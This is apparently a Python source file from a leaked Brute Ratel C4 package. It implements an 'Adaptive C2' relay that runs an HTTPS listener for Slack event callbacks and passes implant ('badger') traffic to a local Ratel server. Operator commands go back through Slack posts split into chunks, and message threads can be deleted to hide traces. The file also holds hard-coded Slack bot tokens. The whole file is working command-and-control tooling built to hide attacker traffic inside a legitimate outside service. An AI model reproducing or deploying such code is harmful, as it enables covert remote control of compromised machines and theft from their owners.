Files
bruteratel/BruteRatel-v2.1.2/adaptiveC2/adaptiveC2.py
T

231 lines
11 KiB
Python
Raw Normal View History

2026-08-27 11:22:43 -06:00
#!/usr/bin/python3
from concurrent.futures import thread
import readline
import threading
from datetime import datetime
from http.server import HTTPServer, BaseHTTPRequestHandler
import ssl
import json
import base64
import requests
import sys
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
from multiprocessing import Lock
from time import sleep
import base64
mutex = Lock()
threadMessageStart = "start$"
threadMessageEnd = "$end"
LHOST = "0.0.0.0"
LPORT = 443
BADGER_APP_TOKEN = "Bearer xoxb-12345678-123456789-qAIcN8hBt0WgwRaJImILqM9j"
BADGER_APP_CHANNEL_ID = "D03AT6A4X9T" # click on the Apps name in the chats section and get the last value from the URL
BADGER_APP_MEMBER_ID = "U039KRC46BS" # click on the Apps name in the chats section and get the last value from the URL
LISTENER_APP_TOKEN = "Bearer xoxb-2144924547920-3382587054001-2xPrUBj0D8yf0D5BNDPh3nwY"
info = """
Adaptive C2 v0.1 for Brute Ratel c4
Author : Paranoid Ninja
"""
usage = """
Usage : adaptiveC2.py <certfile> <keyfile>
Eg. : adaptiveC2.py /etc/letsencrypt/live/evasionlabs.com/fullchain.pem /etc/letsencrypt/live/evasionlabs.com/privkey.pem
"""
threadList = []
def FetchFullMessage(channel, token, msg_ts):
t_threadDict = {}
fullBadgerMessage = ""
try:
requestUri = "https://slack.com/api/conversations.replies?channel=" + channel + "&ts=" + msg_ts # fetch all replies -> https://api.slack.com/methods/conversations.replies/
response = requests.get(requestUri, headers={'Authorization': token})
jdata = json.loads(response.text)
for jsonMsg in jdata['messages']: # extract all timestamps from messages and align them as per their time received - { "messages": [ { 'ts': '' } ] }
if (jsonMsg['text'] != threadMessageEnd):
t_threadDict[jsonMsg['ts']] = jsonMsg['text']
for key, value in sorted(t_threadDict.items()): # concatenate all the replies in chronological order
bufMsg = value.split(threadMessageStart)
if len(bufMsg) > 1:
fullBadgerMessage = fullBadgerMessage + bufMsg[1]
if fullBadgerMessage != "":
print("[+] Sending %d bytes" % len(fullBadgerMessage))
LinkC2(fullBadgerMessage, channel, msg_ts) # send the message to ratel server
except Exception as ex:
print("[-] Exception reading replies:", ex)
def DeleteMessageAndReplies(channel, token, msg_ts):
try:
requestUri = "https://slack.com/api/conversations.replies?channel=" + channel + "&ts=" + msg_ts
response = requests.get(requestUri, headers={'Authorization': token})
jdata = json.loads(response.text)
replyCount = 0
for reply in jdata['messages']:
replyCount += 1
requestUri = "https://slack.com/api/chat.delete?channel="+ channel +"&ts=" + reply['ts']
requests.get(requestUri, headers={'Authorization': token})
sleep(0.5) # slack has a limitation of sending on 2 requests per second
print("[+] %d replies/msgs deleted" % replyCount)
requestUri = "https://slack.com/api/chat.delete?channel="+ channel +"&ts=" + msg_ts
requests.get(requestUri, headers={'Authorization': token})
except Exception as ex:
print("[-] Exception while deleting message", ex)
def LinkC2(badgerMsg, channel, msg_ts):
print("[+] ListenerApp Callback\n[+] Channel Id: %s\n[+] Msg ts: %s" % (channel, msg_ts))
# DeleteMessageAndReplies(channel, LISTENER_APP_TOKEN, msg_ts)
# send badger response to ratel server and recv the next command
try:
response = requests.post('https://127.0.0.1:10443/detail/0HG57J5JNDOE9CJLXJ0QAZ6Z74/ref=atv_hm_hom_c_7d0kid_2_1', data=badgerMsg, verify=False)
badgerCmd = response.text
# print("[+] Command Received From Ratel Server:", badgerCmd)
if len(badgerCmd) > 4000:
print("[+] Command received from Ratel Server:", len(badgerCmd) ,"bytes")
chunkSize = 3950
chunks = [badgerCmd[i:i+chunkSize] for i in range(0, len(badgerCmd), chunkSize)]
print("[+] Chunk count:", len(chunks))
chunck_ts = ""
# forward chunks to slack
for part in chunks:
t_msg = threadMessageStart + part
if chunck_ts == "":
response = requests.post('https://slack.com/api/chat.postMessage', json={'channel':BADGER_APP_CHANNEL_ID, 'text': "<@" + BADGER_APP_MEMBER_ID + "> "+ t_msg}, headers={'Authorization': BADGER_APP_TOKEN})
if 'ts' in response.json() and 'channel' in response.json():
chunck_ts = response.json()["ts"]
print("[+] Primary chunk forwarded to BadgerApp:", len(part))
else:
print("[!] Error sending chunk:", response.json())
else:
response = requests.post('https://slack.com/api/chat.postMessage', json={ 'thread_ts': chunck_ts ,'channel': BADGER_APP_CHANNEL_ID, 'text': "<@" + BADGER_APP_MEMBER_ID + "> "+ t_msg}, headers={'Authorization': BADGER_APP_TOKEN})
if 'ts' in response.json() and 'channel' in response.json():
print("[+] Chunk forwarded to BadgerApp:", len(part))
else:
print("[!] Error sending command:", response.json())
sleep(1) # slack has a limitation of sending on 2 requests per second
# Send the final delimiter to specify the thread has ended
response = requests.post('https://slack.com/api/chat.postMessage', json={ 'thread_ts': chunck_ts ,'channel': BADGER_APP_CHANNEL_ID, 'text': "<@" + BADGER_APP_MEMBER_ID + "> "+ threadMessageEnd}, headers={'Authorization': BADGER_APP_TOKEN})
if 'ts' in response.json() and 'channel' in response.json():
print("[+] Thread ended")
else:
print("[!] Error sending chunk:", response.json())
else:
# forward command to slack
response = requests.post('https://slack.com/api/chat.postMessage', json={'channel':BADGER_APP_CHANNEL_ID, 'text': "<@" + BADGER_APP_MEMBER_ID + "> "+ badgerCmd}, headers={'Authorization': BADGER_APP_TOKEN})
if 'ts' in response.json() and 'channel' in response.json():
print("[+] Callback forwarded to Brute Ratel Server")
else:
print("[!] Error sending command:", response.json())
except Exception as ex:
print("[!] Exception:", ex)
class AdaptiveC2Handler(BaseHTTPRequestHandler):
def _set_headers(self):
self.send_response(200)
self.send_header("Content-type", "text/html")
self.end_headers()
def _html(self, message):
content = f"{message}"
return content.encode("utf8")
def do_GET(self):
self._set_headers()
self.wfile.write(self._html("404 Not Found"))
currtime = (datetime.now()).strftime("%d/%m/%Y %H:%M:%S")
print("[" + currtime + "] GET request from " + self.address_string())
for x, y in self.headers.items():
print(" - ", x, ": ", y )
print("------------------------------------------------------------")
def do_HEAD(self):
self._set_headers()
self.wfile.write(self._html("404 Not Found"))
currtime = (datetime.now()).strftime("%d/%m/%Y %H:%M:%S")
print("[" + currtime + "] HEAD request from " + self.address_string())
for x, y in self.headers.items():
print(" - ", x, ": ", y )
print("------------------------------------------------------------")
def do_POST(self):
try:
postData = ((self.rfile.read(int(self.headers['content-length']))).decode('utf-8')).rstrip('\r\n\r\n\0')
jdata = json.loads(postData)
if "challenge" in jdata:
print("[*] Slack challenge received")
data = "challenge=" + jdata["challenge"]
self._set_headers()
self.wfile.write(self._html(data))
return
elif "text" in jdata["event"]:
this_msg_ts = jdata["event"]["ts"]
channel = jdata["event"]["channel"]
badgerMsg = jdata["event"]["text"]
if "<@" in badgerMsg:
badgerMsg = " ".join(badgerMsg.split(" ")[1:])
if threadMessageStart in badgerMsg and "thread_ts" not in jdata["event"]: # new thread message received, store the timestamp in a list for verifying it later
print("[+] New thread started:", this_msg_ts)
threadList.append(this_msg_ts)
elif "thread_ts" in jdata["event"] and threadMessageEnd in badgerMsg:
main_thread_ts = jdata["event"]["thread_ts"]
if (main_thread_ts in threadList):
threadList.remove(main_thread_ts)
print("[+] Thread closed:", main_thread_ts)
self._set_headers()
self.wfile.write(self._html(""))
print("------------------------------------------------------------")
newThread=threading.Thread(target=FetchFullMessage, args=(channel, LISTENER_APP_TOKEN, main_thread_ts))
newThread.start()
return
else:
print("[+] Unknown msg:", this_msg_ts)
elif "thread_ts" in jdata["event"]:
main_thread_ts = jdata["event"]["thread_ts"]
print("[+] Thread reply received:", main_thread_ts +":" + this_msg_ts)
else:
print("[+] Full msg:", len(badgerMsg), "bytes")
self._set_headers()
self.wfile.write(self._html(""))
print("------------------------------------------------------------")
newThread=threading.Thread(target=LinkC2, args=(badgerMsg, channel, this_msg_ts))
newThread.start()
return
self._set_headers()
self.wfile.write(self._html(""))
print("------------------------------------------------------------")
# else:
# print(jdata, "\n")
except Exception as ex:
print("[-] Exception:", ex)
def log_message(self, format, *args):
return
def main():
print(info)
if (len(sys.argv) < 3):
print(usage)
return
currtime = (datetime.now()).strftime("%d/%m/%Y %H:%M:%S")
print(f"[+] {currtime} Starting Adaptive C2 Server on {LHOST}:{LPORT}")
server = HTTPServer((LHOST, LPORT), AdaptiveC2Handler)
server.socket = ssl.wrap_socket(server.socket, certfile=sys.argv[1], keyfile=sys.argv[2], server_side=True)
thread = threading.Thread(None, server.serve_forever)
thread.daemon = True
thread.start()
thread.join()
if __name__ == "__main__":
main()